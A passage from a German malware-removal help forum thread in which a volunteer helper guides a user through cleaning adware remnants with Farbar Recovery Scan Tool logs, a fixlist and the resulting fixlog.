Task: {580ECAAB-83D0-4420-BC5F-378E24B7755B} - System32\Tasks\NvProfileUpdaterOnLogon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files\NVIDIA Corporation\Update Core\NvProfileUpdater64.exe [2017-05-03] (NVIDIA Corporation)
Task: {8BC35C08-BEAE-4DCA-8814-715C10631294} - System32\Tasks\NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files\NVIDIA Corporation\Update Core\NvProfileUpdater64.exe [2017-05-03] (NVIDIA Corporation)
Task: {946B1704-9D1A-4004-99EB-86EE822427D4} - System32\Tasks\Intel PTT EK Recertification => C:\Program Files\Intel\iCLS Client\IntelPTTEKRecertification.exe [2016-10-13] (Intel(R) Corporation)
Task: {A0B8C401-754F-45ED-AB54-A4196A516902} - System32\Tasks\NvTmRepOnLogon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files (x86)\NVIDIA Corporation\Update Core\NvTmRep.exe [2017-05-03] (NVIDIA Corporation)
Task: {CE717A1A-E0B7-4A62-A58D-3CF8778369F4} - System32\Tasks\IntelIOC-Upgrade-f1c8187b-2653-47cd-a9be-b554b98f68a7-Logon => C:\Program Files (x86)\Intel\Intel(R) Online Connect Access\Intel(R) Software Asset Manager\bin\IntelSoftwareAssetManagerService.exe [2016-10-14] (Intel Corporation)
Task: {D2CAA64B-EFEE-4B71-B535-3D39B9088D9F} - System32\Tasks\NvTmMon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files (x86)\NVIDIA Corporation\Update Core\NvTmMon.exe [2017-05-03] (NVIDIA Corporation)
Task: {E4CCFFA0-D020-4654-BB23-EB12886EDAE6} - System32\Tasks\NvNodeLauncher_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files (x86)\NVIDIA Corporation\NvNode\nvnodejslauncher.exe [2017-05-03] (NVIDIA Corporation)

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Aufgabe verschoben. Die Datei, die durch die Aufgabe gestartet wird, wird nicht verschoben.)


==================== Verknüpfungen =============================

(Die Einträge können gelistet werden, um sie zurückzusetzen oder zu entfernen.)

==================== Geladene Module (Nicht auf der Ausnahmeliste) ==============

2017-05-12 15:18 - 2017-05-03 22:21 - 01267320 _____ () C:\Program Files\NVIDIA Corporation\NvContainer\libprotobuf.dll
2016-10-17 20:00 - 2016-10-17 20:00 - 00107752 _____ () C:\Program Files\Intel\Intel(R) Online Connect Access\libglog.dll
2016-10-17 20:00 - 2016-10-17 20:00 - 00412904 _____ () C:\Program Files\Intel\Intel(R) Online Connect Access\JsonCpp.dll
2017-06-03 00:20 - 2017-05-31 11:09 - 02270664 _____ () C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\MwacLib.dll
2016-11-01 17:18 - 2016-11-01 17:18 - 00253664 _____ () C:\Program Files\Intel\Intel(R) Online Connect\CSLibWrapper.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00138000 _____ () C:\windows\SYSTEM32\inputhost.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 01731072 _____ () C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\Cortana.Core.dll
2017-05-12 15:21 - 2016-03-15 13:55 - 00089600 _____ () C:\windows\SYSTEM32\CmdRtr64.DLL
2017-05-12 15:21 - 2016-03-15 13:54 - 00359424 _____ () C:\windows\SYSTEM32\APOMgr64.DLL
2017-06-01 22:05 - 2017-05-03 22:20 - 00034424 _____ () C:\Program Files\NVIDIA Corporation\nvstreamsrv\boost_system-vc120-mt-1_58.dll
2017-06-01 22:05 - 2017-05-03 22:20 - 00920184 _____ () C:\Program Files\NVIDIA Corporation\nvstreamsrv\boost_regex-vc120-mt-1_58.dll
2017-05-12 15:18 - 2017-05-03 22:21 - 01040504 _____ () C:\Program Files (x86)\NVIDIA Corporation\NvContainer\libprotobuf.dll
2017-05-14 12:53 - 2017-05-14 12:53 - 68886856 _____ () C:\Program Files (x86)\Overwolf\0.104.210.0\libcef.DLL
2017-05-12 15:18 - 2017-05-03 22:20 - 65709176 _____ () C:\Program Files (x86)\NVIDIA Corporation\NVIDIA GeForce Experience\libcef.dll
2016-11-08 19:40 - 2016-11-08 19:40 - 01243936 _____ () C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\LMS\ACE.dll

==================== Alternate Data Streams (Nicht auf der Ausnahmeliste) =========

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird nur der ADS entfernt.)


==================== Abgesicherter Modus (Nicht auf der Ausnahmeliste) ===================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Der Wert "AlternateShell" wird wiederhergestellt.)

HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\MBAMService => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\MBAMService => ""="Service"

==================== Verknüpfungen (Nicht auf der Ausnahmeliste) ===============

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Registryeintrag auf den Standardwert zurückgesetzt oder entfernt.)


==================== Internet Explorer Vertrauenswürdig/Eingeschränkt ===============

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt.)


==================== Hosts Inhalt: ===============================

(Wenn benötigt kann der Hosts: Schalter in die Fixlist aufgenommen werden um die Hosts Datei zurückzusetzen.)

2017-03-18 23:03 - 2017-06-03 15:44 - 00000027 _____ C:\windows\system32\Drivers\etc\hosts

127.0.0.1      localhost

==================== Andere Bereiche ============================

(Aktuell gibt es keinen automatisierten Fix für diesen Bereich.)

HKU\S-1-5-21-743485210-3963512150-464095969-1003\Control Panel\Desktop\\Wallpaper -> c:\windows\web\wallpaper\windows\img0.jpg
DNS Servers: 8.8.8.8
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System => (ConsentPromptBehaviorAdmin: 5) (ConsentPromptBehaviorUser: 3) (EnableLUA: 1)
Windows Firewall ist aktiviert.

==================== MSCONFIG/TASK MANAGER Deaktivierte Einträge ==


==================== Firewall Regeln (Nicht auf der Ausnahmeliste) ===============

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

FirewallRules: [{21F95021-2FE4-4322-B40D-87BF0028281B}] => (Allow) D:\Steam\Steam.exe
FirewallRules: [{FC215E32-309D-4C21-AEBB-673A82A26FED}] => (Allow) D:\Steam\Steam.exe
FirewallRules: [{53F48740-2016-4BFF-BAB8-D22B9EE2BF9D}] => (Allow) D:\Steam\bin\cef\cef.win7\steamwebhelper.exe
FirewallRules: [{A1547F5A-B681-4FE3-9C40-1B00A6AC62ED}] => (Allow) D:\Steam\bin\cef\cef.win7\steamwebhelper.exe

==================== Wiederherstellungspunkte =========================

12-05-2017 15:48:12 Windows-Sicherung
30-05-2017 08:01:39 Windows Update
31-05-2017 13:45:11 DirectX wurde installiert
03-06-2017 00:50:01 Sprachpaketdeinstallation

==================== Fehlerhafte Geräte im Gerätemanager =============


==================== Fehlereinträge in der Ereignisanzeige: =========================

Applikationsfehler:
==================
Error: (06/02/2017 07:32:04 PM) (Source: Perflib) (EventID: 1008) (User: )
Description: Die Open-Prozedur für den Dienst "WmiApRpl" in der DLL "C:\windows\system32\wbem\wmiaprpl.dll" war nicht erfolgreich. Die Leistungsdaten für diesen Dienst sind nicht verfügbar. Die ersten vier Bytes (DWORD) des Datenbereichs enthalten den Fehlercode.

Error: (06/02/2017 07:32:04 PM) (Source: Perflib) (EventID: 1023) (User: )
Description: Die erweiterbare Leistungsindikator-DLL rdyboost kann nicht geladen werden. Die ersten vier Bytes (DWORD) des Datenbereichs enthalten den Windows-Fehlercode.

Error: (06/02/2017 07:32:04 PM) (Source: PerfNet) (EventID: 2004) (User: )
Description: Das Serverdienst-Leistungsobjekt kann nicht geöffnet werden. Die ersten vier Bytes (DWORD) des Datenabschnitts enthalten den Statuscode.

Error: (06/02/2017 07:32:04 PM) (Source: Perflib) (EventID: 1008) (User: )
Description: Die Open-Prozedur für den Dienst "MSDTC" in der DLL "C:\windows\system32\msdtcuiu.DLL" war nicht erfolgreich. Die Leistungsdaten für diesen Dienst sind nicht verfügbar. Die ersten vier Bytes (DWORD) des Datenbereichs enthalten den Fehlercode.

Error: (06/02/2017 07:32:04 PM) (Source: Perflib) (EventID: 1008) (User: )
Description: Die Open-Prozedur für den Dienst "Lsa" in der DLL "C:\Windows\System32\Secur32.dll" war nicht erfolgreich. Die Leistungsdaten für diesen Dienst sind nicht verfügbar. Die ersten vier Bytes (DWORD) des Datenbereichs enthalten den Fehlercode.

Error: (06/02/2017 07:32:04 PM) (Source: Perflib) (EventID: 1008) (User: )
Description: Die Open-Prozedur für den Dienst "ESENT" in der DLL "C:\windows\system32\esentprf.dll" war nicht erfolgreich. Die Leistungsdaten für diesen Dienst sind nicht verfügbar. Die ersten vier Bytes (DWORD) des Datenbereichs enthalten den Fehlercode.

Error: (06/02/2017 07:32:04 PM) (Source: Perflib) (EventID: 1008) (User: )
Description: Die Open-Prozedur für den Dienst "BITS" in der DLL "C:\Windows\System32\bitsperf.dll" war nicht erfolgreich. Die Leistungsdaten für diesen Dienst sind nicht verfügbar. Die ersten vier Bytes (DWORD) des Datenbereichs enthalten den Fehlercode.

Error: (06/02/2017 05:17:02 PM) (Source: Application Hang) (EventID: 1002) (User: )
Description: Programm SystemHealer.exe, Version 0.0.0.0 kann nicht mehr unter Windows ausgeführt werden und wurde beendet. Überprüfen Sie den Problemverlauf in der Systemsteuerung "Sicherheit und Wartung", um nach weiteren Informationen zum Problem zu suchen.

Prozess-ID: 1b3c

Startzeit: 01d2dbb25e301cba

Beendigungszeit: 4294967295

Anwendungspfad: C:\Program Files (x86)\SystemHealer\SystemHealer.exe

Berichts-ID: 41c4326b-46f8-48d1-97ef-25c03e47bc42

Vollständiger Name des fehlerhaften Pakets:

Auf das fehlerhafte Paket bezogene Anwendungs-ID:

Error: (06/02/2017 05:14:37 PM) (Source: Perflib) (EventID: 1008) (User: )
Description: Die Open-Prozedur für den Dienst "WmiApRpl" in der DLL "C:\windows\system32\wbem\wmiaprpl.dll" war nicht erfolgreich. Die Leistungsdaten für diesen Dienst sind nicht verfügbar. Die ersten vier Bytes (DWORD) des Datenbereichs enthalten den Fehlercode.

Error: (06/02/2017 05:14:37 PM) (Source: Perflib) (EventID: 1023) (User: )
Description: Die erweiterbare Leistungsindikator-DLL rdyboost kann nicht geladen werden. Die ersten vier Bytes (DWORD) des Datenbereichs enthalten den Windows-Fehlercode.


Systemfehler:
=============
Error: (06/03/2017 03:46:57 PM) (Source: DCOM) (EventID: 10016) (User: NT-AUTORITÄT)
Description: Durch die Berechtigungseinstellungen für "Anwendungsspezifisch" wird dem Benutzer "NT-AUTORITÄT\Lokaler Dienst" (SID: S-1-5-19) unter der Adresse "LocalHost (unter Verwendung von LRPC)" keine Berechtigung vom Typ "Lokal Aktivierung" für die COM-Serveranwendung mit der CLSID
{6B3B8D23-FA8D-40B9-8DBD-B950333E2C52}
 und der APPID
{4839DDB7-58C2-48F5-8283-E1D1807D0D7D}
 im Anwendungscontainer "Nicht verfügbar" (SID: Nicht verfügbar) gewährt. Die Sicherheitsberechtigung kann mit dem Verwaltungstool für Komponentendienste geändert werden.

Error: (06/03/2017 03:46:57 PM) (Source: DCOM) (EventID: 10016) (User: NT-AUTORITÄT)
Description: Durch die Berechtigungseinstellungen für "Anwendungsspezifisch" wird dem Benutzer "NT-AUTORITÄT\Lokaler Dienst" (SID: S-1-5-19) unter der Adresse "LocalHost (unter Verwendung von LRPC)" keine Berechtigung vom Typ "Lokal Aktivierung" für die COM-Serveranwendung mit der CLSID
{6B3B8D23-FA8D-40B9-8DBD-B950333E2C52}
 und der APPID
{4839DDB7-58C2-48F5-8283-E1D1807D0D7D}
 im Anwendungscontainer "Nicht verfügbar" (SID: Nicht verfügbar) gewährt. Die Sicherheitsberechtigung kann mit dem Verwaltungstool für Komponentendienste geändert werden.

Error: (06/03/2017 03:46:12 PM) (Source: Service Control Manager) (EventID: 7000) (User: )
Description: Der Dienst "CldFlt" wurde aufgrund folgenden Fehlers nicht gestartet:
Die Anforderung wird nicht unterstützt.

Error: (06/03/2017 03:44:45 PM) (Source: Service Control Manager) (EventID: 7032) (User: )
Description: Der Versuch des Dienststeuerungs-Managers, nach dem unerwarteten Beenden des Dienstes "Windows Search" Korrekturmaßnahmen (Neustart des Diensts) durchzuführen, ist fehlgeschlagen. Fehler:
Es wird bereits eine Instanz des Dienstes ausgeführt.

Error: (06/03/2017 03:44:16 PM) (Source: Service Control Manager) (EventID: 7034) (User: )
Description: Dienst "Intel(R) Management and Security Application Local Management Service" wurde unerwartet beendet. Dies ist bereits 1 Mal passiert.

Error: (06/03/2017 03:44:16 PM) (Source: Service Control Manager) (EventID: 7034) (User: )
Description: Dienst "Intel(R) Rapid Storage Technology" wurde unerwartet beendet. Dies ist bereits 1 Mal passiert.

Error: (06/03/2017 03:44:16 PM) (Source: Service Control Manager) (EventID: 7034) (User: )
Description: Dienst "NVIDIA NetworkService Container" wurde unerwartet beendet. Dies ist bereits 1 Mal passiert.

Error: (06/03/2017 03:44:16 PM) (Source: Service Control Manager) (EventID: 7034) (User: )
Description: Dienst "Intel(R) Dynamic Application Loader Host Interface Service" wurde unerwartet beendet. Dies ist bereits 1 Mal passiert.

Error: (06/03/2017 03:44:15 PM) (Source: Service Control Manager) (EventID: 7031) (User: )
Description: Der Dienst "Windows Search" wurde unerwartet beendet. Dies ist bereits 1 Mal vorgekommen. Folgende Korrekturmaßnahmen werden in 30000 Millisekunden durchgeführt: Neustart des Diensts.

Error: (06/03/2017 03:44:15 PM) (Source: Service Control Manager) (EventID: 7031) (User: )
Description: Der Dienst "Intel(R) Online Connect" wurde unerwartet beendet. Dies ist bereits 1 Mal vorgekommen. Folgende Korrekturmaßnahmen werden in 0 Millisekunden durchgeführt: Neustart des Diensts.


CodeIntegrity:
===================================
  Date: 2017-05-30 23:03:42.362
  Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Program Files\Windows Defender\MsMpEng.exe) attempted to load \Device\HarddiskVolume4\Windows\System32\DriverStore\FileRepository\nvcv.inf_amd64_9f104199581b6aa2\nvinitx.dll that did not meet the Custom 3 / Antimalware signing level requirements.


==================== Speicherinformationen ===========================

Prozessor: Intel(R) Core(TM) i7-7700HQ CPU @ 2.80GHz
Prozentuale Nutzung des RAM: 19%
Installierter physikalischer RAM: 16270.29 MB
Verfügbarer physikalischer RAM: 13049.93 MB
Summe virtueller Speicher: 19214.29 MB
Verfügbarer virtueller Speicher: 16214.47 MB

==================== Laufwerke ================================

Drive c: (System) (Fixed) (Total:227.51 GB) (Free:185.81 GB) NTFS
Drive d: (Daten) (Fixed) (Total:931.51 GB) (Free:791.71 GB) NTFS

==================== MBR & Partitionstabelle ==================

========================================================
Disk: 0 (Size: 232.9 GB) (Disk ID: 68A7658E)

Partition: GPT.

========================================================
Disk: 1 (Size: 931.5 GB) (Disk ID: 68A76683)

Partition: GPT.

==================== Ende von Addition.txt ============================

M-K-D-B 03.06.2017 20:28
Servus,



ich brauche deinen Benutzernamen, den du mit **** unkenntlich gemacht hast.

Twix. 03.06.2017 20:42
würde ich ungerne hier presigeben, deswegen habe ich ihn ja ersetzt. Wo soll ich ihn denn ersetzen, bestimmt krieg ich das mit Anleitung auch selber hin.

M-K-D-B 03.06.2017 20:52
Zitat:
Zitat von Twix. (Beitrag 1655856)
würde ich ungerne hier presigeben, deswegen habe ich ihn ja ersetzt. Wo soll ich ihn denn ersetzen, bestimmt krieg ich das mit Anleitung auch selber hin.
ok, ich überleg mir was.

M-K-D-B 03.06.2017 21:15
Servus,





Schritt 1
  • Im Anhang meines Posts findest du die Datei fixlist.txt. Speichere diese Datei im selben Verzeichnis, indem sich die FRST.exe befindet.
  • Ersetze die **** durch deinen richtigen Benutzernamen.
  • Starte die FRST.exe erneut.
  • Klicke auf den Button Entfernen.
  • Der Entfernungsprozess startet, dein Rechner benötigt am Ende einen Neustart.
  • Nach dem Neustart findest du eine Datei fixlog.txt im selben Verzeichnis, in der sich auch die FRST.exe befindet.
  • Poste mir den Inhalt dieser Datei mit deiner nächsten Antwort.





Schritt 2
  • Starte die FRST erneut. Vergewissere dich, dass vor Addition.txt ein Haken gesetzt ist.
  • Setze einen Haken vor Dateiliste 90 Tage und drücke auf Untersuchen.
  • FRST erstellt wieder zwei Logdateien (FRST.txt und Addition.txt).
  • Poste mir beide Logdateien mit deiner nächsten Antwort.






Bitte poste mit deiner nächsten Antwort
  • die Logdatei des FRST-Fix,
  • die beiden neuen Logdateien von FRST.

Twix. 06.06.2017 11:40
oh, hab deine Antwort gar nicht bemerkt, wegen der zweiten Seite, entschuldige.

Fixlog: [CODE]
Code:
Entferungsergebnis von Farbar Recovery Scan Tool (x64) Version: 05-06-2017
durchgeführt von **** (06-06-2017 12:25:35) Run:2
Gestartet von C:\Users\****\Desktop
Geladene Profile: **** (Verfügbare Profile: ****)
Start-Modus: Normal
==============================================

fixlist Inhalt:
*****************
CloseProcesses:
FF user.js: detected! => C:\Users\****\AppData\Roaming\Mozilla\Firefox\Profiles\bckp6m63.default\user.js [2017-06-02]
2017-06-02 17:04 - 2017-06-03 00:24 - 00000000 ____D C:\Users\****\AppData\Roaming\Reerkucultprifery
2017-06-02 17:04 - 2017-06-02 17:04 - 00140800 _____ C:\Users\****\AppData\Local\installer.dat
2017-06-02 17:04 - 2017-06-02 17:04 - 00011568 _____ C:\Users\****\AppData\Local\InstallationConfiguration.xml
2017-06-02 17:04 - 2017-06-02 17:04 - 00000000 ____D C:\Users\****\AppData\Roaming\uTorrent
2017-06-02 17:04 - 2017-06-02 17:04 - 00000000 ____D C:\Users\****\AppData\Local\Atokuther
C:\Users\****\AppData\Roaming\Profiles
C:\Users\****\AppData\Roaming\Reerkucultprifery
C:\Users\****\AppData\Local\Chromium
C:\AppData
C:\Users\Default\AppData\Local\AdvinstAnalytics
FF ExtraCheck: C:\Program Files (x86)\mozilla firefox\browser\defaults\preferences\firefox.js [2017-06-02]
2017-06-02 18:14 - 2017-06-02 18:14 - 00000000 ____D C:\Users\Default\AppData\Local\AdvinstAnalytics
2017-06-02 18:14 - 2017-06-02 18:14 - 00000000 ____D C:\Users\Default User\AppData\Local\AdvinstAnalytics
DeleteKey: HKEY_LOCAL_MACHINE\SOFTWARE\HDWallpaper
DeleteKey: HKEY_CURRENT_USER\Software\Classes\Applications\interstatnogui.exe
DeleteKey: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Products\931744D05C8C1604B8A4F0EB19691513
DeleteKey: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Products\ECA4AC87FC7DB8142B21E81528B265E6
DeleteKey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\931744D05C8C1604B8A4F0EB19691513
DeleteKey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\ECA4AC87FC7DB8142B21E81528B265E6
DeleteKey: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{0D447139-C8C5-4061-8B4A-0FBE91965131}
DeleteKey: HKEY_USERS\.DEFAULT\Software\Caphyon\Advanced Installer\XML Config\{0D447139-C8C5-4061-8B4A-0FBE91965131}
DeleteKey: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{F2DB3739-77FB-41EB-9ED3-ABF34DF2DBF7}
DeleteValue: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft|help
EmptyTemp:
*****************

Prozesse erfolgreich geschlossen.
C:\Users\****\AppData\Roaming\Mozilla\Firefox\Profiles\bckp6m63.default\user.js => erfolgreich verschoben
C:\Users\****\AppData\Roaming\Mozilla\Firefox\Profiles\bckp6m63.default\user.js => nicht gefunden.
C:\Users\****\AppData\Roaming\Reerkucultprifery => erfolgreich verschoben
C:\Users\****\AppData\Local\installer.dat => erfolgreich verschoben
C:\Users\****\AppData\Local\InstallationConfiguration.xml => erfolgreich verschoben
C:\Users\****\AppData\Roaming\uTorrent => erfolgreich verschoben
C:\Users\****\AppData\Local\Atokuther => erfolgreich verschoben
C:\Users\****\AppData\Roaming\Profiles => erfolgreich verschoben
"C:\Users\****\AppData\Roaming\Reerkucultprifery" => nicht gefunden.
C:\Users\****\AppData\Local\Chromium => erfolgreich verschoben
C:\AppData => erfolgreich verschoben
C:\Users\Default\AppData\Local\AdvinstAnalytics => erfolgreich verschoben
C:\Program Files (x86)\mozilla firefox\browser\defaults\preferences\firefox.js => erfolgreich verschoben
"C:\Users\Default\AppData\Local\AdvinstAnalytics" => nicht gefunden.
"C:\Users\Default User\AppData\Local\AdvinstAnalytics" => nicht gefunden.
HKEY_LOCAL_MACHINE\SOFTWARE\HDWallpaper => Schlüssel erfolgreich entfernt
HKEY_CURRENT_USER\Software\Classes\Applications\interstatnogui.exe => Schlüssel erfolgreich entfernt
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Products\931744D05C8C1604B8A4F0EB19691513 => Schlüssel erfolgreich entfernt
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Products\ECA4AC87FC7DB8142B21E81528B265E6 => Schlüssel erfolgreich entfernt
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\931744D05C8C1604B8A4F0EB19691513 => Schlüssel erfolgreich entfernt
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\ECA4AC87FC7DB8142B21E81528B265E6 => Schlüssel erfolgreich entfernt
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{0D447139-C8C5-4061-8B4A-0FBE91965131} => Schlüssel erfolgreich entfernt
HKEY_USERS\.DEFAULT\Software\Caphyon\Advanced Installer\XML Config\{0D447139-C8C5-4061-8B4A-0FBE91965131} => Schlüssel erfolgreich entfernt
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{F2DB3739-77FB-41EB-9ED3-ABF34DF2DBF7} => Schlüssel erfolgreich entfernt
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\\help => Wert erfolgreich entfernt

=========== EmptyTemp: ==========

BITS transfer queue => 8675328 B
DOMStore, IE Recovery, AppCache, Feeds Cache, Thumbcache, IconCache => 11698029 B
Java, Flash, Steam htmlcache => 15767713 B
Windows/system/drivers => 58260 B
Edge => 0 B
Chrome => 0 B
Firefox => 97616000 B
Opera => 0 B

Temp, IE cache, history, cookies, recent:
Default => 0 B
Users => 0 B
ProgramData => 0 B
Public => 0 B
systemprofile => 128 B
systemprofile32 => 0 B
LocalService => 9794 B
NetworkService => 0 B
**** => 11379322 B

RecycleBin => 0 B
EmptyTemp: => 138.5 MB temporäre Dateien entfernt.

================================


Das System musste neu gestartet werden.

==== Ende von Fixlog 12:25:40 ====
FRST1:
Code:
Untersuchungsergebnis von Farbar Recovery Scan Tool (FRST) (x64) Version: 05-06-2017
durchgeführt von **** (Administrator) auf WHOPPER (06-06-2017 12:28:05)
Gestartet von C:\Users\****\Desktop
Geladene Profile: **** (Verfügbare Profile: ****)
Platform: Windows 10 Home Version 1703 (X64) Sprache: Deutsch (Deutschland)
Internet Explorer Version 11 (Standard-Browser: FF)
Start-Modus: Normal
Anleitung für Farbar Recovery Scan Tool: hxxp://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/

==================== Prozesse (Nicht auf der Ausnahmeliste) =================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Prozess geschlossen. Die Datei wird nicht verschoben.)

(Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_a88bf6b18b1da077\igfxCUIService.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\Display.NvContainer\NVDisplay.Container.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\Display.NvContainer\NVDisplay.Container.exe
(Intel Corporation) C:\Windows\System32\ibtsiva.exe
(Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_a88bf6b18b1da077\IntelCpHDCPSvc.exe
(CLEVO CO.) C:\Program Files (x86)\Hotkey\HotkeyService.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe
(Synaptics Incorporated) C:\Program Files\Synaptics\SynTP\SynTPEnhService.exe
(Insyde Software Corp.) C:\Program Files (x86)\Hotkey\Driver\x64\HKClipSvc.exe
(Intel(R) Corporation) C:\Program Files\Intel\Intel(R) Online Connect Access\IntelTechnologyAccessService.exe
(Intel(R) Corporation) C:\Program Files\Intel\Intel(R) Online Connect Access\LegacyCsLoaderService.exe
(TeamViewer GmbH) C:\Program Files (x86)\TeamViewer\TeamViewer_Service.exe
(NVIDIA Corporation) C:\Program Files (x86)\NVIDIA Corporation\NvTelemetry\NvTelemetryContainer.exe
(Malwarebytes) C:\Program Files\Malwarebytes\Anti-Malware\MBAMService.exe
(Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_a88bf6b18b1da077\IntelCpHeciSvc.exe
(Microsoft Corporation) C:\Windows\System32\CompatTelRunner.exe
(NVIDIA Corporation) C:\Program Files (x86)\NVIDIA Corporation\NvContainer\nvcontainer.exe
(Synaptics Incorporated) C:\Program Files\Synaptics\SynTP\SynTPEnh.exe
(Synaptics Incorporated) C:\Program Files\Synaptics\SynTP\SynTPHelper.exe
(Microsoft Corporation) C:\Windows\Microsoft.NET\Framework64\v3.0\WPF\PresentationFontCache.exe
(Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_a88bf6b18b1da077\igfxEM.exe
(IvoSoft) C:\Program Files\Classic Shell\ClassicStartMenu.exe
(Intel Corporation) C:\Program Files\Intel\Intel(R) Online Connect\ioc.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\Display\nvtray.exe
(Microsoft Corporation) C:\Windows\System32\smartscreen.exe
(Microsoft Corporation) C:\Program Files\Windows Defender\MSASCuiL.exe
(Intel Corporation) C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\DAL\jhi_service.exe
(Realtek Semiconductor) C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe
(Microsoft Corporation) C:\Windows\System32\rundll32.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\ShadowPlay\nvspcaps64.exe
(Malwarebytes) C:\Program Files\Malwarebytes\Anti-Malware\mbamtray.exe
(Overwolf LTD) C:\Program Files (x86)\Overwolf\Overwolf.exe
(Valve Corporation) D:\Steam\Steam.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\ShadowPlay\nvsphelper64.exe
(NVIDIA Corporation) C:\Program Files (x86)\NVIDIA Corporation\NVIDIA GeForce Experience\NVIDIA Share.exe
(CLEVO CO.) C:\Program Files (x86)\Hotkey\HkeyTray.exe
(Mozilla Corporation) C:\Program Files (x86)\Mozilla Firefox\firefox.exe
(Creative Technology Ltd) C:\Program Files (x86)\Creative\Sound Blaster Cinema 3\Sound Blaster Cinema 3\SBCinema3.exe
(Overwolf LTD) C:\Program Files (x86)\Overwolf\0.104.210.0\OverwolfBrowser.exe
(Node.js) C:\Program Files (x86)\NVIDIA Corporation\NvNode\NVIDIA Web Helper.exe
(NVIDIA Corporation) C:\Program Files (x86)\NVIDIA Corporation\NVIDIA GeForce Experience\NVIDIA Share.exe
(Mozilla Corporation) C:\Program Files (x86)\Mozilla Firefox\firefox.exe
(Mozilla Corporation) C:\Program Files (x86)\Mozilla Firefox\firefox.exe
(Overwolf LTD) C:\Program Files (x86)\Common Files\Overwolf\0.104.210.0\OverwolfHelper.exe
(Overwolf LTD) C:\Program Files (x86)\Common Files\Overwolf\0.104.210.0\OverwolfHelper64.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe
(Valve Corporation) D:\Steam\bin\cef\cef.win7\steamwebhelper.exe
(Valve Corporation) C:\Program Files (x86)\Common Files\Steam\SteamService.exe
(CLEVO CO.) C:\Program Files (x86)\Hotkey\ComboKeyTray.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\NvStreamSrv\nvstreamuseragent.exe
(Intel Corporation) C:\Program Files\Intel\Intel(R) Rapid Storage Technology\IAStorIcon.exe

==================== Registry (Nicht auf der Ausnahmeliste) ====================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Registryeintrag auf den Standardwert zurückgesetzt oder entfernt. Die Datei wird nicht verschoben.)

HKLM\...\Run: [SecurityHealth] => C:\Program Files\Windows Defender\MSASCuiL.exe [629152 2017-03-18] (Microsoft Corporation)
HKLM\...\Run: [RTHDVCPL] => C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe [16781824 2017-04-12] (Realtek Semiconductor)
HKLM\...\Run: [ShadowPlay] => "C:\windows\system32\rundll32.exe" C:\windows\system32\nvspcap64.dll,ShadowPlayOnSystemStart
HKLM\...\Run: [MBCfg64] => C:\windows\system32\RunDLL32.exe C:\windows\system32\MBCfg64.dll,RunDLLEntry MBCfg64
HKLM\...\Run: [IAStorIcon] => C:\Program Files\Intel\Intel(R) Rapid Storage Technology\IAStorIcon.exe [320568 2016-09-20] (Intel Corporation)
